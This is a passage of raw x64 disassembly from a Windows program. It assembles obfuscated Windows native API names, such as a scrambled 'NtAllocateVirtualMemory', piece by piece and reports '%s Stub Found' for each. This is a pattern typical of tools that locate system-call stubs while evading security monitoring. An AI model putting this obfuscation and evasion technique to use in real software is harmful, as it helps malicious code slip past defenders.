call fcn.1400a98d0
lea rax, [rbp + 0x17a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x17c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x17e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1800]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1820]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1840]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1860]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1880]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x194f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1950]
mov rcx, qword [rbp + 0x3128]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140005c8b
lea rbx, [0x1402aedd7]
jmp 0x140005c92
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1b7f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x1b7f]
lea rax, [rbp + 0x1b50]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x1402aee17]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ad0]
lea rdx, [rbp + 0x1af0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ab0]
lea rdx, [rbp + 0x1ad0]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1a90]
lea rdx, [rbp + 0x1ab0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1a70]
lea rdx, [rbp + 0x1a90]
lea r8, [0x1402aedbd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1a50]
lea rdx, [rbp + 0x1a70]
lea r8, [0x1402aee1d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1a30]
lea rdx, [rbp + 0x1a50]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1a10]
lea rdx, [rbp + 0x1a30]
lea r8, [0x1402aedfb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x19f0]
lea rdx, [rbp + 0x1a10]
lea r8, [0x1402aedfd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x19d0]
lea rdx, [rbp + 0x19f0]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x19b0]
lea rdx, [rbp + 0x19d0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1990]
lea rdx, [rbp + 0x19b0]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1970]
lea rdx, [rbp + 0x1990]
lea r8, [0x1402aedff]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x1970]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x19d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x19f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1a10]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1a30]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1a50]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1a70]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1a90]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1ab0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1b7f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1b80]
mov rcx, qword [rbp + 0x3120]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140006026
lea rbx, [0x1402aedd7]
jmp 0x14000602d
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1e0f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x1e0f]
lea rax, [rbp + 0x1de0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x1402aedbd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1d60]
lea rdx, [rbp + 0x1d80]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1d40]
lea rdx, [rbp + 0x1d60]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1d20]
lea rdx, [rbp + 0x1d40]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1d00]
lea rdx, [rbp + 0x1d20]
lea r8, [0x1402aee05]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ce0]
lea rdx, [rbp + 0x1d00]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1cc0]
lea rdx, [rbp + 0x1ce0]
lea r8, [0x1402aee07]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ca0]
lea rdx, [rbp + 0x1cc0]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1c80]
lea rdx, [rbp + 0x1ca0]
lea r8, [0x1402aedd3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1c60]
lea rdx, [rbp + 0x1c80]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1c40]
lea rdx, [rbp + 0x1c60]
lea r8, [0x1402aedfb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1c20]
lea rdx, [rbp + 0x1c40]
lea r8, [0x1402aedfd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c20]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1be0]
lea rdx, [rbp + 0x1c00]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ba0]
lea rdx, [rbp + 0x1bc0]
lea r8, [0x1402aedff]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x1ba0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1be0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1c00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1c20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1c40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1c60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1c80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1ca0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1cc0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1ce0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1d00]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1d20]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1d40]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1e0f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x1e10]
mov rcx, qword [rbp + 0x3118]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140006445
lea rbx, [0x1402aedd7]
jmp 0x14000644c
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x207f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x207f]
lea rax, [rbp + 0x2050]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x1402aee1f]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1fd0]
lea rdx, [rbp + 0x1ff0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1fb0]
lea rdx, [rbp + 0x1fd0]
lea r8, [0x1402aedf9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1f90]
lea rdx, [rbp + 0x1fb0]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1f70]
lea rdx, [rbp + 0x1f90]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1f50]
lea rdx, [rbp + 0x1f70]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1f30]
lea rdx, [rbp + 0x1f50]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1f10]
lea rdx, [rbp + 0x1f30]
lea r8, [0x1402aee03]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ef0]
lea rdx, [rbp + 0x1f10]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1ed0]
lea rdx, [rbp + 0x1ef0]
lea r8, [0x1402aedfb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1eb0]
lea rdx, [rbp + 0x1ed0]
lea r8, [0x1402aedfd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1e90]
lea rdx, [rbp + 0x1eb0]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e90]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e70]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x1e30]
lea rdx, [rbp + 0x1e50]
lea r8, [0x1402aedff]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x1e30]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1e50]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1e70]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1e90]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1ed0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1f10]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1f30]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1f50]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1f70]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1f90]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1fb0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x207f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2080]
mov rcx, qword [rbp + 0x3110]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140006838
lea rbx, [0x1402aedd7]
jmp 0x14000683f
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x22ef]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x22ef]
lea rax, [rbp + 0x22c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x1402aee0b]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2240]
lea rdx, [rbp + 0x2260]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2220]
lea rdx, [rbp + 0x2240]
lea r8, [0x1402aedf9]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2220]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x21e0]
lea rdx, [rbp + 0x2200]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x21c0]
lea rdx, [rbp + 0x21e0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x21a0]
lea rdx, [rbp + 0x21c0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2180]
lea rdx, [rbp + 0x21a0]
lea r8, [0x1402aee03]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2160]
lea rdx, [rbp + 0x2180]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2140]
lea rdx, [rbp + 0x2160]
lea r8, [0x1402aedfb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2120]
lea rdx, [rbp + 0x2140]
lea r8, [0x1402aedfd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2100]
lea rdx, [rbp + 0x2120]
lea r8, [0x1402aedcd]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x20e0]
lea rdx, [rbp + 0x2100]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x20c0]
lea rdx, [rbp + 0x20e0]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x20a0]
lea rdx, [rbp + 0x20c0]
lea r8, [0x1402aedff]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x20a0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x20e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2100]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2120]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2140]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2160]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2180]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x21a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x21c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x21e0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2200]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2220]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x22ef]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x22f0]
mov rcx, qword [rbp + 0x3108]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140006c2b
lea rbx, [0x1402aedd7]
jmp 0x140006c32
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x251f]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x251f]
lea rax, [rbp + 0x24f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x1402aee21]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2470]
lea rdx, [rbp + 0x2490]
lea r8, [0x1402aedbf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2450]
lea rdx, [rbp + 0x2470]
lea r8, [0x1402aedc5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2430]
lea rdx, [rbp + 0x2450]
lea r8, [0x1402aedd5]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2410]
lea rdx, [rbp + 0x2430]
lea r8, [0x1402aee01]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x23f0]
lea rdx, [rbp + 0x2410]
lea r8, [0x1402aee03]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x23d0]
lea rdx, [rbp + 0x23f0]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x23b0]
lea rdx, [rbp + 0x23d0]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2390]
lea rdx, [rbp + 0x23b0]
lea r8, [0x1402aedcf]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2370]
lea rdx, [rbp + 0x2390]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2350]
lea rdx, [rbp + 0x2370]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2330]
lea rdx, [rbp + 0x2350]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2310]
lea rdx, [rbp + 0x2330]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x2310]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2330]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2350]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2370]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2390]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x23b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x23d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x23f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2410]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2430]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2450]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x251f]
mov rcx, rax
call fcn.140071840
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.1400a8ce0
mov r9, qword [rbp + 0x30b0]
mov r8, qword [rbp + 0x30d0]
mov rdx, qword [rbp + 0x30a8]
lea rax, [rbp + 0x2520]
mov rcx, qword [rbp + 0x3100]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x31a0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x30a4], eax
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.1400a9890
cmp dword [rbp + 0x30a4], 0
je 0x140006fc6
lea rbx, [0x1402aedd7]
jmp 0x140006fcd
lea rbx, [0x1402aeddc]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002f010
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x26ef]
mov rcx, rax
call fcn.140071810
lea rdx, [rbp + 0x26ef]
lea rax, [rbp + 0x26c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9170
lea rax, [rbp + 0x26a0]
lea rdx, [rbp + 0x26c0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2680]
lea rdx, [rbp + 0x26a0]
lea r8, [0x1402aee11]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2660]
lea rdx, [rbp + 0x2680]
lea r8, [0x1402aee1d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2640]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2600]
lea rdx, [rbp + 0x2620]
lea r8, [0x1402aee0b]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x25e0]
lea rdx, [rbp + 0x2600]
lea r8, [0x1402aedc7]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x25c0]
lea rdx, [rbp + 0x25e0]
lea r8, [0x1402aedc3]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x1402aedbb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x1402aedcb]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x1402aedc1]
mov rcx, rax
call fcn.1400b9cf0
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x1402aee0d]
mov rcx, rax
call fcn.1400b9cf0
lea rdx, [rbp + 0x2540]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a98d0
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.1400a9890
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.1400a9890
